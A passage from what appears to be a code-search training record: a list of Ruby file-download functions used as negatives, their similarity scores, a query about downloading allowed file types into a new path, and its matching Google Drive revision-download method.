+\n \"--modulepath=#{@mods_dir} --target-dir=#{@mods_dir}\"\n v1 cmd\n out = `#{cmd}`\n v1 out\n\n # add the\n FileUtils.cp tgz, @tars_dir, :verbose => verbose?\n end", "def start_download(blatt)\n\t File.open(\"/tmp/#{tractate_name}_#{blatt}.pdf\", \"wb\") do |f|\n f.write HTTParty.get(\"http://www.kolhalashon.com/imgs/Vilna/#{tractate_name}/#{tractate_name}_Amud_#{amud_conversion(blatt)}.pdf\").parsed_response\n end\n\tend", "def _fetch\n curl @url, '-o', @tarball_path\n end", "def download( uri, to )\n to_dir = File.dirname( to )\n FileUtils.mkdir_p( to_dir ) unless File.directory?( to_dir )\n\n begin\n case uri\n when URI::FTP : download_via_ftp( uri, to )\n when URI::HTTP : download_via_http( uri, to )\n else\n raise ::Crate::Error, \"Downloading is only supported via FTP or HTTP at this time\"\n end\n rescue => e\n puts\n STDERR.puts \"Error downloading #{uri.to_s} : #{e}\"\n exit 1\n end\n end", "def download_images\r\n puts \"Downloading and processing images:\"\r\n STDOUT.flush\r\n images = @issue.images\r\n progress = ProgressBar.new(\"Downloading\", images.length)\r\n images.each do |i|\r\n download_image(i)\r\n progress.inc\r\n end\r\n progress.finish\r\n puts ''\r\n end", "def save(url,folder,filename,with_mechanize = false)\n path = File.join(Vkontakte::loot_directory,folder)\n Dir::mkdir(path) unless File.exists?(path) && File.directory?(path)\n progress \"Downloading \" + url\n filename = filename.gsub(/[\\\\\\/\\:\\\"\\*\\?\\<\\>\\|]+/,'').gsub(\"\\s\",\"_\")\n ext = File.extname(filename)\n basename = filename.chomp(ext)\n basename = basename[0..99] + \"...\" if basename.length>100\n res = File.join(path,basename + ext)\n return res if File.exist?(res)\n if(with_mechanize)\n @agent.get(url,[],nil,{'cookie' => @cookie_login}).save(res)\n else\n uri = URI(url)\n Net::HTTP.start(uri.host) do |http|\n resp = http.get(uri.path)\n File.open(res, \"wb\") do |file|\n file.write(resp.body)\n end\n end\n end\n res\n end", "def download_command(src, name, folder_name, data)\n url = data[:url]\n if src.to_s == \"bandcamp_urls\"\n download_bandcamp_url(folder_name, url)\n elsif src.to_s == \"youtube_urls\"\n download_youtube_url(folder_name, url)\n end\n end", "def download_and_unzip(base_url, system_id, filename, save_to_dir)\n download_url = File.join(base_url, system_id, filename)\n LibertyBuildpack::Util.download_zip('3.+', download_url, 'DynamicPULSE Agent', save_to_dir)\n rescue => e\n raise \"[DynamicPULSE] Can't download #{filename} from #{download_url}. Please check dynamicpulse-remote.xml. #{e.message}\"\n end", "def prepare_file_path_to_download\n folder = ::EasyManageClient.configuration(profile).download_folder\n file_extension = ::EasyManageClient.configuration(profile).file_extension\n File.join(folder, \"#{response[:reference]}.#{file_extension}\")\n end", "def setup_download_list\n return unless @container.readable?\n\n # Check if we should show flags for classifications on each of the types of container file\n @allow_show_flags = {}\n %i[stored_file archived_file].each do |rt|\n full_name = \"nfs_store__manage__#{rt}\"\n show_flag = !!Classification::ItemFlagName.enabled_for?(full_name, current_user)\n @allow_show_flags[rt] = show_flag\n end\n\n # List types should we include flags for in the queries that return the stored_files and archived_files\n show_flags_for = @allow_show_flags.filter { |_k, v| v }.keys.map { |i| i.to_s.pluralize.to_sym }\n @downloads = Browse.list_files_from @container, activity_log: @activity_log, include_flags: show_flags_for\n # Prep a download object to allow selection of downloads in the browse list\n @download = Download.new container: @container, activity_log: @activity_log\n rescue FsException::NotFound\n @directory_not_found = true\n end", "def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.path) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend", "def download_resource(url, path)\n FileUtils.mkdir_p File.dirname(path)\n the_uri = URI.parse(URI.escape(url))\n if the_uri\n data = html_get the_uri\n File.open(path, 'wb') { |f| f.write(data) } if data\n end\n end", "def download_attachments!(urls)\n return if urls.blank?\n begin\n # Send HTTP requests in parallel. – See Pupa's README to learn more.\n attachment_downloader.in_parallel(attachment_download_manager) do\n urls.each do |url|\n attachment_downloader.get(url)\n end\n end\n rescue Faraday::Error::ClientError => e\n error(e.response.inspect)\n end\n end", "def download_url(url, output_filename, dir_name = \"media/tmp\")\n command = \"wget --quiet '#{url}' -O '#{dir_name}/#{output_filename}'\"\n system(command)\n end", "def download_file(f)\n run(\"curl -O http://github.com/meskyanichi/rails-templates/raw/master/files/#{f}\")\nend", "def download(download_dir)\n @downloaded_file = File.join(download_dir,\"meddra_adverse_effects.tsv.gz\")\n \n @log.info \"Downloading from SIDER to #{@downloaded_file}\" if @log\n system(\"curl -o #{@downloaded_file} -i ftp://sideeffects.embl.de/SIDER/latest/meddra_adverse_effects.tsv.gz\")\n system(\"gunzip #{@downloaded_file}\")\n \n @file = File.join(download_dir,\"meddra_adverse_effects.tsv\")\n end", "def download(url, file)\n # First, open the remote file. (FD == 'File Descriptor', a C term)\n #\n # If we first open the remote file, if there are any exceptions in\n # attempting to open it, we won't lose the contents of the local file.\n open(url) do |remoteFD|\n # Open the local file, purging the contents.\n File.open(file, \"w\") do |genericFD|\n remoteFD.each_line do |line|\n # Take each line, stick it in the file.\n genericFD.puts line\n end\n end\n end\n @repo.add(file) # add the file to the list to be committed\nend", "def download_chapter_pics(chapter)\n unless chapter_valid?(chapter)\n $log.error \"chapter not valid\"\n end\n command_template = 'wget --directory-prefix=\"Naruto/%03d\"' +\n ' http://gc.jumpcn.com/1/h/huo-ying-ren-zhe/%d/%03d.jpg'\n i = 0\n loop do\n i += 1\n system(command_template % [chapter, chapter, i])\n break unless $?.exitstatus == 0\n end\nend", "def retrieve\n raise RetrieverError.new(\"download retriever is unavailable\") unless available?\n ::FileUtils.remove_entry_secure @repo_dir if File.exists?(@repo_dir)\n ::FileUtils.remove_entry_secure workdir if File.exists?(workdir)\n ::FileUtils.mkdir_p @repo_dir\n ::FileUtils.mkdir_p workdir\n file = ::File.join(workdir, \"package\")\n\n # TEAL FIX: we have to always-download the tarball before we can\n # determine if contents have changed, but afterward we can compare the\n # previous download against the latest downloaded and short-circuit the\n # remaining flow for the no-difference case.\n @logger.operation(:downloading) do\n credential_command = if @repository.first_credential && @repository.second_credential\n ['-u', \"#{@repository.first_credential}:#{@repository.second_credential}\"]\n else\n []\n end\n @output = ::RightScale::RightPopen::SafeOutputBuffer.new\n @cmd = [\n 'curl',\n '--silent', '--show-error', '--location', '--fail',\n '--location-trusted', '-o', file, credential_command,\n @repository.url\n ].flatten\n begin\n ::RightScale::RightPopen.popen3_sync(\n @cmd,\n :target => self,\n :pid_handler => :pid_download,\n :timeout_handler => :timeout_download,\n :size_limit_handler => :size_limit_download,\n :exit_handler => :exit_download,\n :stderr_handler => :output_download,\n :stdout_handler => :output_download,\n :inherit_io => true, # avoid killing any rails connection\n :watch_directory => workdir,\n :size_limit_bytes => @max_bytes,\n :timeout_seconds => @max_seconds)\n rescue Exception => e\n @logger.note_phase(:abort, :running_command, 'curl', e)\n raise\n end\n end\n\n note_tag(file)\n\n @logger.operation(:unpacking) do\n path = @repository.to_url.path\n if path =~ /\\.gz$/\n extraction = \"xzf\"\n elsif path =~ /\\.bz2$/\n extraction = \"xjf\"\n else\n extraction = \"xf\"\n end\n Dir.chdir(@repo_dir) do\n @output = ::RightScale::RightPopen::SafeOutputBuffer.new\n @cmd = ['tar', extraction, file]\n begin\n ::RightScale::RightPopen.popen3_sync(\n @cmd,\n :target => self,\n :pid_handler => :pid_download,\n :timeout_handler => :timeout_download,\n :size_limit_handler => :size_limit_download,\n :exit_handler => :exit_download,\n :stderr_handler => :output_download,\n :stdout_handler => :output_download,\n :inherit_io => true, # avoid killing any rails connection\n :watch_directory => @repo_dir,\n :size_limit_bytes => @max_bytes,\n :timeout_seconds => @max_seconds)\n rescue Exception => e\n @logger.note_phase(:abort, :running_command, @cmd.first, e)\n raise\n end\n end\n end\n true\n end", "def download_bootstrap_files(machine_name = 'bootstrap-backend')\n # download server files\n %w{ actions-source.json webui_priv.pem }.each do |analytics_file|\n machine_file \"/etc/opscode-analytics/#{analytics_file}\" do\n local_path \"#{node['qa-chef-server-cluster']['chef-server']['file-dir']}/#{analytics_file}\"\n machine machine_name\n action :download\n end\n end\n\n# download more server files\n %w{ pivotal.pem webui_pub.pem private-chef-secrets.json }.each do |opscode_file|\n machine_file \"/etc/opscode/#{opscode_file}\" do\n local_path \"#{node['qa-chef-server-cluster']['chef-server']['file-dir']}/#{opscode_file}\"\n machine machine_name\n action :download\n end\n end\nend" ]
[ "0.7293105", "0.70150113", "0.6883917", "0.6883613", "0.68757737", "0.6679542", "0.6655319", "0.66303957", "0.6612172", "0.6570471", "0.65622437", "0.65357155", "0.64742875", "0.64485794", "0.6433891", "0.64304733", "0.64169306", "0.63999313", "0.63965267", "0.634042", "0.6297992", "0.6265075", "0.6262557", "0.62452686", "0.623114", "0.61898124", "0.6182507", "0.6178401", "0.61566544", "0.6148294", "0.6144318", "0.61401075", "0.6131527", "0.6064772", "0.606271", "0.6061087", "0.6037823", "0.60227567", "0.6021266", "0.6018826", "0.6002871", "0.59726644", "0.5970495", "0.595556", "0.59446967", "0.5941407", "0.5929393", "0.5923632", "0.5909931", "0.5889637", "0.588192", "0.5862198", "0.58571017", "0.58550984", "0.58422756", "0.582813", "0.582232", "0.58205324", "0.5818125", "0.5812657", "0.5807812", "0.58033127", "0.5796053", "0.5793582", "0.5792479", "0.5774795", "0.5774148", "0.57716167", "0.57695615", "0.5768396", "0.57611763", "0.5759738", "0.5759658", "0.5752986", "0.5749291", "0.574783", "0.57438564", "0.57380354", "0.57369286", "0.5725531", "0.5713748", "0.5708788", "0.569751", "0.56835455", "0.5679654", "0.56732756", "0.5672268", "0.5657233", "0.5651849", "0.565139", "0.56509423", "0.5644027", "0.5642026", "0.5640266", "0.56354725", "0.56337273", "0.5613941", "0.5610584", "0.5607792", "0.5601318" ]
0.60195315
39
Download into new_path if is an allowed type
def download_if_allowed_child(child, new_path) return false unless ALLOWED_TYPES.include? child.mimeType revisions = retrieve_revisions(child.id) puts "Downloading #{revisions.size} revisions for #{child.title}"\ " (#{child.id}) in #{new_path}" FileUtils.mkdir_p new_path @semaphore.synchronize do @threads << Thread.new { download_revisions(child, revisions, new_path) } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def download_original ; path_download_file(:original).download end", "def download(_io, _path)\n false\n end", "def download_file(file_type)\n temp_file = File.new(public_url.split('/').last, \"wb\")\n remote_data = open(URI.parse(public_url))\n temp_file.write(remote_data.read)\n update_attributes(file_type => temp_file)\n File.delete temp_file\n end", "def download\n # noinspection RubyCaseWithoutElseBlockInspection\n case type\n when 'direct'\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir)\n Attachment.download_from_url(source, dir)\n when 'git'\n FileUtils.mkdir_p(File.dirname(path))\n ::Open3.capture3('git submodule update --init --recursive')\n end\n end", "def create_download_file\n download = initiate_download\n\n File.open(\"#{file_path_and_name}.tmp\", \"wb\") do |file|\n fail Geoblacklight::Exceptions::WrongDownloadFormat unless matches_mimetype?(download)\n file.write download.body\n end\n File.rename(\"#{file_path_and_name}.tmp\", file_path_and_name)\n file_name\n rescue Geoblacklight::Exceptions::WrongDownloadFormat => error\n Geoblacklight.logger.error \"#{error} expected #{@options[:content_type]} \" \\\n \"received #{download.headers[\"content-type\"]}\"\n File.delete(\"#{file_path_and_name}.tmp\")\n raise Geoblacklight::Exceptions::ExternalDownloadFailed, message: \"Wrong download type\"\n end", "def download\n path.dirname.mkpath\n\n case io = open(url)\n when StringIO\n begin\n exact_path.open('w', 0o755) { |fd| fd.write(io) }\n rescue StandardError\n exact_path.unlink if exact_path.exist?\n raise\n end\n when Tempfile\n io.close\n iopath = Pathname.new(io.path)\n iopath.chmod(0o755)\n iopath.rename exact_path\n end\n\n path.delete if path.symlink?\n path.make_symlink exact_path\n end", "def download!(source_url, destination_file); end", "def by_http(url, destination_path)\n begin\n open(url, :allow_redirections => :safe) do |input|\n if @accepted_content_types.include?(input.content_type)\n\n if File.exists?(destination_path)\n return destination_path\n else\n file = File.open(destination_path, 'wb') do |output|\n output << input.read\n end\n return file.path\n end\n else\n # need to send this to the logger at some point\n #logger.error \"Content type for #{url} not accepted by this downloader instance.\"\n puts \"[FileDownloader] Content type for #{url} not accepted by this downloader instance.\"\n return nil\n end\n end\n rescue Errno::ENOENT\n puts \"[FileDownloader] Can't open file for writing\"\n return nil\n rescue Exception => e\n puts \"[FileDownloader] Couldn't retrieve file #{url} due to an error: #{e.to_s}\"\n return nil\n end\n end", "def download_resource(src_url,dest_path,content_type)\n begin \n content = open(src_url).read\n basename = Pathname.new(src_url).basename.to_s.gsub(/\\..*/,'')\n vortex_url = dest_path + basename + \".\" + content_type\n vortex_url = vortex_url.downcase\n begin\n @vortex.put_string(vortex_url, content)\n puts \"Copying resource: \" + src_url + \" => \" + vortex_url\n @log = @log + \"Copying resource: \" + src_url + \" => \" + vortex_url + \"<br>\\n\"\n rescue Exception => e\n puts e.message\n pp e.backtrace.inspect\n puts \"vortex_url: \" + vortex_url\n exit\n end\n return vortex_url\n rescue\n puts \"WARNING could not open file \" + src_url\n @log = @log + \"WARNING could not open file \" + src_url + \"<br>\\n\"\n return nil\n end\nend", "def download_file?(file_url, output_file_name, file_type)\n if file_type == \"logo\"\n download_logo?(file_url, output_file_name) \n else\n downloaded_file_path = \"#{Rails.root}/public/uploads/#{output_file_name}\"\n Sync.download_file?(file_url, downloaded_file_path)\n \n downloaded_file_sha1_path = downloaded_file_path + \".sha1\"\n Sync.download_file?(file_url + \".sha1\", downloaded_file_sha1_path)\n \n check_file_integrity(downloaded_file_path, downloaded_file_sha1_path)\n end\n end", "def download_source\n unless @download_source\n if new_resource.package_url\n res = chase_redirect(new_resource.package_url)\n else\n params = URI.encode_www_form(full: 1,\n plat: node['platform_family'][0..2])\n res = chase_redirect(\"https://www.dropbox.com/download?#{params}\")\n end\n end\n @download_source ||= res\n end", "def download_file #DOWNLOADS FIRST AVAILABLE FILE\r\n \r\n link = \"/html/body/form/table[5]/tbody/tr/td/table/tbody/tr/td/table[5]/tbody/tr[2]/td/table/tbody/tr[2]/td[2]/span/table/tbody/tr[2]/td[6]/span/a\"\r\n \r\n #if browser.text.include? @time_web_format\r\n complete = false\r\n tries = 0\r\n until complete || tries == 5\r\n \r\n if browser.cell(:xpath, link).exists?\r\n \r\n #RENAME ZIP FILE IF IT ALREADY EXISTS.\r\n #EXPLICIT PATH DOWNLOAD FOLDER!!!\r\n zipfile_path = \"#{$paths.imports_path}StudentResultsExport_Extended.zip\"\r\n if File.exists?(zipfile_path)\r\n File.rename(zipfile_path,\"#{zipfile_path.gsub(\".zip\",\"_#{$ifilestamp}.zip\")}\")\r\n end\r\n \r\n browser.cell(:xpath, link).click\r\n return true\r\n \r\n end\r\n tries += 1\r\n end\r\n return false\r\n #end\r\n end", "def create_download(user_id, data, full_filename, export_type, content_type)\n download = Download.create(user_id: user_id, export_type: export_type, filename: full_filename)\n download.export_files.attach(io: data, filename: full_filename, content_type: content_type)\n download\n ensure\n FileUtils.remove_entry(File.dirname(data)) if data.is_a?(File) && File.exist?(data)\n end", "def download!(type, opts={})\n raise ArgumentError, \"Patch #{self.inspect} requires a major number to download\" unless @major\n raise ArgumentError, \"Patch #{self.inspect} requires a minor number to download\" unless @minor\n raise ArgumentError, \"Unknown type #{type.inspect}\" unless URL[type]\n url = URL[type] % self.to_s\n opts = {\n :agent => 'Wget/1.10.2', # default user agent, required by Oracle\n }.merge(opts)\n Solaris::Util.download!(url, opts)\n end", "def download(full_spec, path) # :nodoc:\n end", "def download_bad_way(destination_path, source_path, user_agent)\n\n # Download without a progress bar\n File.open(destination_path, \"wb\") do |saved_file|\n # the following \"open\" is provided by open-uri\n open(\"#{source_path}\", \"rb\", 'User-Agent' => useragent) do |read_file|\n saved_file.write(read_file.read)\n end\n end\n end", "def download(command)\n if command[1].nil? || command[1].empty?\n puts \"please specify item to get\"\n elsif command[2].nil? || command[2].empty?\n puts \"please specify full local path to dest, i.e. the file to write to\"\n elsif File.exists?(command[2])\n puts \"error: File #{dest} already exists.\"\n else\n src = '/' + clean_up(command[1])\n dst = command[2]\n out, metadata = @client.files.download(src)\n pp metadata\n open(dst, 'w') { |f| f.puts out }\n puts \"wrote file #{ dst }.\"\n end\n end", "def download_file(test = false)\n @update_file = Tempfile.new(['elasticsearch_update_file', @download.extension])\n\n @log.info('Downloading file from url.')\n\n write_file_from_url(@update_file, @download.url) unless test\n\n @update_file\n end", "def download!\n\t\traise_if_error C.glyr_opt_download(to_native, true)\n\tend", "def download\n super\n rescue\n info \"Failed to download #{to_spec}. Skipping it.\"\n end", "def download_to_file(url, path)\n result = false\n\n uri = URI(url)\n if uri.scheme == 'file'\n result = FileUtils.mv uri.path, path\n Rails.logger.info \"Moved to #{path}\" if result == 0\n else\n result = download_url_to_file uri, path\n end\n result\n end", "def download_package\n path = download_path\n remote_file path do\n source URL\n action :create\n only_if { !::File.exist?(PATH) }\n end\n end", "def download\n if Rails.env.production?\n redirect_to @upload.archive.expiring_url(10)\n else\n redirect_to @upload.archive.url\n end\n end", "def download_resource(url, path)\n FileUtils.mkdir_p File.dirname(path)\n the_uri = URI.parse(URI.escape(url))\n if the_uri\n data = html_get the_uri\n File.open(path, 'wb') { |f| f.write(data) } if data\n end\n end", "def download\n #@repository=Repository.find(params[:id])\n #url=/assets/uploads/1/original/BK-KKM-01-01_BORANG_PENILAIAN_KURSUS.pdf?1474870599\n #send_file(\"#{::Rails.root.to_s}/public#{@repository.uploaded.url.split(\"?\").first}\")\n @filename=\"#{::Rails.root.to_s}/public#{@repository.uploaded.url.split(\"?\").first}\"\n #send_file(@filename , :type => 'application/pdf/docx/html/htm/doc', :disposition => 'attachment')\n send_file(@filename ,:type => 'application/pdf', :disposition => 'attachment')\n end", "def download_to_server full_url, path, ext\n require 'open-uri'\n\n user_directory = IMAGE_DIRECTORY + \"/#{session[:access_token].params['edam_userId']}\"\n unless File.directory? IMAGE_DIRECTORY\n Dir::mkdir( IMAGE_DIRECTORY ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n unless File.directory? user_directory\n Dir::mkdir( user_directory ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n file_name = user_directory + \"/\" + path + '.' + ext\n\n # TODO is this instance variable visible from the controller which include this module?\n @selected_file << file_name\n unless File.exists?(file_name)\n File.open(file_name, 'wb') do |output|\n # Download image\n # TODO: handle if session access token is nil\n open(full_url + \"?auth=#{session[:access_token].token}\") do |input|\n output << input.read\n end\n end\n end\n end", "def get_download\n\tend", "def download(path)\n if File.exists?(path)\n puts \"#{path} already exists\"\n\n return\n end\n\n File.open(path, \"w\") do |file|\n file.binmode\n HTTParty.get(self['href'], stream_body: true) do |fragment|\n file.write(fragment)\n end\n end\n end", "def download\n return file if file\n\n self.file = retrieve_file\n end", "def download_image(src_url,dest_path)\n content_type = http_content_type(src_url)\n content_type = content_type.gsub(\"image/\", \"\")\n content_type = content_type.gsub(\"pjpeg\",\"jpg\")\n content_type = content_type.gsub(\"jpeg\",\"jpg\")\n vortex_url = download_resource(src_url,dest_path,content_type)\n return vortex_url\nend", "def download\n\t\tsend_file(params[:path])\n end", "def download\n \n shell.tell \"Downloading remote file...\"\n \n if in_dir?(:origins)\n shell.notify \"Already downloaded to: #{template_dir.addr :origins}\"\n return false\n end\n \n \n # notify \"Downloaded [from] [to]:\", address, pending.address\n file_twins(:origins).download\n file_twins(:pending).download \n shell.notify \"Content needs to be reviewed/merged into :latest: #{file_twins(:pending).local.address}\"\n abort\n \n end", "def has_download\n\tend", "def fetch_file_by_url\n if (self.url)\n self.file = self.url\n end\n end", "def download path\n dl = @current_prompt_action[:data]\n return unless (path and dl)\n \n dl.set_destination_uri(\"file://#{path}\")\n dl.start()\n end", "def download!(url, path)\n raise CommandFailed unless download(url, path)\n end", "def download_raw\n document = Document.find(params[:id])\n authorize! :download_raw, document\n \n begin\n upload = Upload.find( document.stuffing_upload_id )\n rescue ActiveRecord::RecordNotFound => e\n puts \"### ERROR: \" + e.message\n redirect_to show_data_path(document), notice: \"ERROR: file (upload) ID not found. Upload may have been deleted\"\n return\n end\n \n send_file upload.upfile.path, \n :filename => upload.upfile_file_name, \n :type => 'application/octet-stream'\n end", "def override_download_permissions\n can :download, ActiveFedora::File do |file|\n parent_uri = file.uri.to_s.sub(/\\/[^\\/]*$/, \"\")\n parent_id = ActiveFedora::Base.uri_to_id(parent_uri)\n if file.uri.end_with?(\"thumbnail\")\n can? :discover, parent_id\n else\n can? :read, parent_id\n end\n end\n end", "def prepare_file_path_to_download\n folder = ::EasyManageClient.configuration(profile).download_folder\n file_extension = ::EasyManageClient.configuration(profile).file_extension\n File.join(folder, \"#{response[:reference]}.#{file_extension}\")\n end", "def download(spec, path)\n nil\n end", "def download(url, filename)\n require 'open-uri'\n if File.exists?(\"lib/\" + filename)\n puts \"'#{filename}' is already downloaded... skipped\"\n else\n puts \"'#{filename}' downloading...\"\n File.open(\"lib/\" + filename, \"wb\") do |saved_file|\n open(url + filename, \"rb\") { |read_file| saved_file.write(read_file.read) }\n end\n end\nend", "def set_filetypes\n #unless params[:id] == 'download' || params == :file\n @filetype = Filetype.find(params[:id])\n # end\n end", "def download(method, path, token)\n do_md5_check = (method == \"md5\")\n redownload_all = (method == \"fresh\")\n\n if do_md5_check\n if md5_matches?(path)\n skip\n else\n force_download(path, token, method)\n end\n else\n if redownload_all\n force_download(path, token, method)\n else\n if file_size_matches?(path)\n skip\n else\n force_download(path, token, method)\n end\n end\n end\n end", "def download( uri, to )\n to_dir = File.dirname( to )\n FileUtils.mkdir_p( to_dir ) unless File.directory?( to_dir )\n\n begin\n case uri\n when URI::FTP : download_via_ftp( uri, to )\n when URI::HTTP : download_via_http( uri, to )\n else\n raise ::Crate::Error, \"Downloading is only supported via FTP or HTTP at this time\"\n end\n rescue => e\n puts\n STDERR.puts \"Error downloading #{uri.to_s} : #{e}\"\n exit 1\n end\n end", "def set_download\n @download = Download.find_by(link: params[:link])\n unless @download\n redirect_to root_path, notice: 'Incorrect download link'\n end\n end", "def download\r\n download = Download.find params[:id]\r\n \r\n # If this download is available only after login, execute an authentication process.\r\n return if download.restrict && !user_authentication\r\n \r\n # Download contains an agreement\r\n if download.agreement\r\n # Redirect to the agreement page if it is a GET request.\r\n unless request.post?\r\n render :partial => 'agreement', :object => download.agreement, :layout => true\r\n return false\r\n end\r\n \r\n if params[:commit] == 'Accept'\r\n # User accept this agreement, log this event and then continue.\r\n agreement_log = AgreementLog.create(\r\n :agreement => download.agreement,\r\n :download => download,\r\n :remote_ip => request.remote_ip,\r\n :store_user => (session[:web_user].nil? ? nil : session[:web_user]),\r\n :http_header => request.env.to_yaml\r\n )\r\n else\r\n # User does not accept this agreement, redirect to support page.\r\n redirect_to :action => 'index'\r\n return false\r\n end\r\n end\r\n \r\n # Generate a symbolic link for this file to download.\r\n # After deploied on server, a CRON job will clean up these links every 30 minutes.\r\n path = Digest::SHA1.hexdigest(\"#{session.session_id} @ #{Time.now.to_f}\")\r\n path << \".u_#{session[:web_user].id}\" if download.restrict\r\n path << \".a_#{agreement_log.id}\" if download.agreement\r\n filename = download.filename\r\n \r\n FileUtils.mkdir \"./public/downloads/#{path}\" unless File.directory? \"./public/downloads/#{path}\"\r\n target_file = \"./public/downloads/#{path}/#{filename}\"\r\n \r\n # Codes for test only. Delete 2 lines below.\r\n # render :text => \"Redirect to /downloads/#{path}/#{filename}\"\r\n # return false\r\n \r\n unless File.symlink(\"#{RAILS_ROOT}/downloads/#{download.filename}\", target_file) == 0\r\n render :text => \"Sorry, system is busy now. Please try again several seconds later.\"\r\n return false\r\n end\r\n \r\n # Log this file name in database.\r\n File.open('log/download.log', 'a') { |file| file.puts \"downloads/#{path}/#{filename}\" }\r\n\r\n redirect_to \"/downloads/#{path}/#{filename}\"\r\n end", "def new_file?\n @new_file\n end", "def save_to_disk url, target_name\n from_url = URI.parse url\n Net::HTTP.start(from_url.host) do |http|\n resp = http.get(from_url.path)\n open(target_name, \"wb\") do |file|\n begin\n file.write(resp.body)\n rescue => err # FIXME don't fail on failed write (OTOH it's better it have no image than crash the whole app)\n return nil\n end\n return target_name\n end\n end\n end", "def est_download\n @chapter = Chapter.find(params[:id])\n if current_user.role.name.eql?('Support Team')\n @chapter.update_attribute(:status,'EST is Processing')\n end\n redirect_to @chapter.assets.first.attachment.url\n end", "def mkurl(oldurl, selector)\n mlog(\"checking %p ...\", oldurl)\n url = oldurl\n # yes, technically one can include a resource from FTP.\n # some people actually do that.\n # but you really shouldn't.\n if oldurl.match(/^(https?|ftp)/) or (autoscm = oldurl.match(/^\\/\\//)) then\n if autoscm then\n # in case of \"//somehost.com/...\" urls, just create an absolute url by\n # reusing the scheme from the mothership\n url = @parsed.scheme + \":\" + oldurl\n end\n else\n # macgyver the url together from the mothership scheme and host\n url = String.new\n url << @parsed.scheme << \"://\" << @parsed.host\n # if the url starts with a slash, it's an absolute path (i.e., \"/blah/something.js\")\n if oldurl.match(/^\\//) then\n url << oldurl\n else\n # otherwise, it's a relative one (i.e., \"subdir/whatever/thing.js\")\n url << File.dirname(@parsed.path)\n if ((url[-1] != \"/\") && (oldurl[0] != \"/\")) then\n url << \"/\"\n end\n url << oldurl\n end\n end\n localdest = File.join(@opts.resdir, Utils.mkname(url, selector))\n fulldest = File.join(@opts.destination, localdest)\n # coincidentally, the local url is the same as the file dest. whudathunkit\n @flog[:urls] << {url: url, local: fulldest}\n if File.file?(fulldest) then\n return localdest\n end\n response = geturl(url)\n if response then\n mlog(\"storing as %p\", fulldest)\n FileUtils.mkdir_p(File.join(@opts.destination, @opts.resdir))\n response.to_file(fulldest)\n return localdest\n end\n raise Exception, \"bad response from geturl?\"\n end", "def download?\n File.exist?(path) || data.exists? ? false : true\n end", "def set_file_type\n if self.is_local?\n if self.attachment_content_type.blank?\n self.file_type = \"misc\"\n elsif self.attachment_content_type == 'application/pdf'\n self.file_type = \"pdf\"\n elsif self.attachment_content_type.include?('powerpoint')\n self.file_type = \"presentation\"\n elsif self.attachment_content_type == 'application/zip'\n self.file_type = \"zip\"\n elsif self.attachment_content_type == \"application/rtf\" || self.attachment_content_type == 'text/plain' || self.attachment_content_type == 'application/msword' || self.attachment_content_type.include?('wordprocessing')\n self.file_type = \"document\"\n elsif self.attachment_content_type.include?('spreadsheet') || self.attachment_content_type == 'ms-excel'\n self.file_type = \"spreadsheet\"\n elsif self.attachment_content_type.include?('image')\n self.file_type = \"image\"\n else\n self.file_type = \"misc\"\n end\n end\n end", "def valid_download?\n @download_url != \"\"\n end", "def download_file(target_dir_pathname, url_info)\n url = url_info['url']\n\n filename = target_dir_pathname\n if url_info.key?('filename')\n filename += url_info['filename']\n else\n # Use the initial URL's basename, rather than following redirects\n # first, since one of them redirects to a URL with a long unreadable\n # basename.\n filename += Pathname.new(url).basename\n end\n\n puts \"Checking #{filename}...\"\n if filename.exist? && url_info.include?('sha256')\n $sha256.reset\n $sha256.file(filename)\n if $sha256.hexdigest === url_info['sha256']\n puts \"File '#{filename}' up to date.\"\n return\n else\n puts \"File '#{filename}' exists, but the hash did not match. Re-downloading.\"\n end\n end\n\n target_dir_pathname.mkpath\n download_file_to_filename(filename, url)\nend", "def create_and_send_stats_files\n if params[:type] == \"stata\"\n download_stata_files\n else\n download_spss_files\n end\n end", "def download_file\n tmp_file = Tempfile.new '', SimplyRets.configuration.temp_folder_path\n content_disposition = raw.headers['Content-Disposition']\n if content_disposition\n filename = content_disposition[/filename=['\"]?([^'\"\\s]+)['\"]?/, 1]\n path = File.join File.dirname(tmp_file), filename\n else\n path = tmp_file.path\n end\n # close and delete temp file\n tmp_file.close!\n\n File.open(path, 'w') { |file| file.write(raw.body) }\n SimplyRets.logger.info \"File written to #{path}. Please move the file to a proper folder for further processing and delete the temp afterwards\"\n return File.new(path)\n end", "def download_location(params, type, format)\n require 'digest/sha1'\n\n params.delete(:action)\n params.delete(:controller)\n\n @filename = Digest::SHA1.hexdigest(\n params.\n merge(type: type).\n merge(locale: I18n.locale).\n to_hash.\n symbolize_keys!.\n sort.\n to_s\n )\n\n return [Rails.root, '/public/downloads/checklist/', @filename, '.', format].join\n end", "def download_file\n send_file(@static_page.custom_file.path,\n disposition: 'attachment; filename=\"' + @static_page.custom_file.file.filename + '\"',\n type: @static_page.custom_file.file.content_type,\n url_based_filename: true)\n end", "def output_file(type)\n if (type == :html)\n \"#{DirMap.public}#{News.public_path}/#{self.filename}.html\"\n else\n \"#{DirMap.public}#{News.public_path}/#{self.filename}.html\"\n end\n end", "def download_file()\n # gets the student we are watching\n @student = Student.find(params[:id]);\n # Here we wanna decrypt the file\n decr_file = decrypt_file(@student)\n # we make the file downloadable\n send_file(decr_file,\n :filename => @student.file,\n :type => @student.file.content_type,\n :disposition => 'attachment',\n :url_based_filename => true)\n end", "def download\n file = BruseFile.find_by(:download_hash => params[:download_hash])\n if file.identity.user == current_user\n # send the file to the user\n send_data file.identity.get_file(file.foreign_ref), filename: file.name, type: file.filetype\n end\n end", "def download_backup(host,port,user,password,name,path,format)\n connect_to_host(host,port,user,password,true)\n if format == 'binary'\n local_file = path+name+\".backup\"\n remote_file = name+\".backup\"\n elsif format== 'script'\n local_file = path+name+\".rsc\"\n remote_file = name+\".rsc\"\n end\n download_file(remote_file,local_file)\n @ssh_connect.close(@ssh_connect)\n end", "def download_file\n source_file = Item.new(Path.new(params[:source_file]))\n response = {}\n response[:source_file] = source_file\n\n if !source_file.path.exist?\n response[:msg] = \"Fail\"\n render json: response, status: 404\n return\n end\n\n respond_to do |format|\n format.json { render json: response }\n format.file { 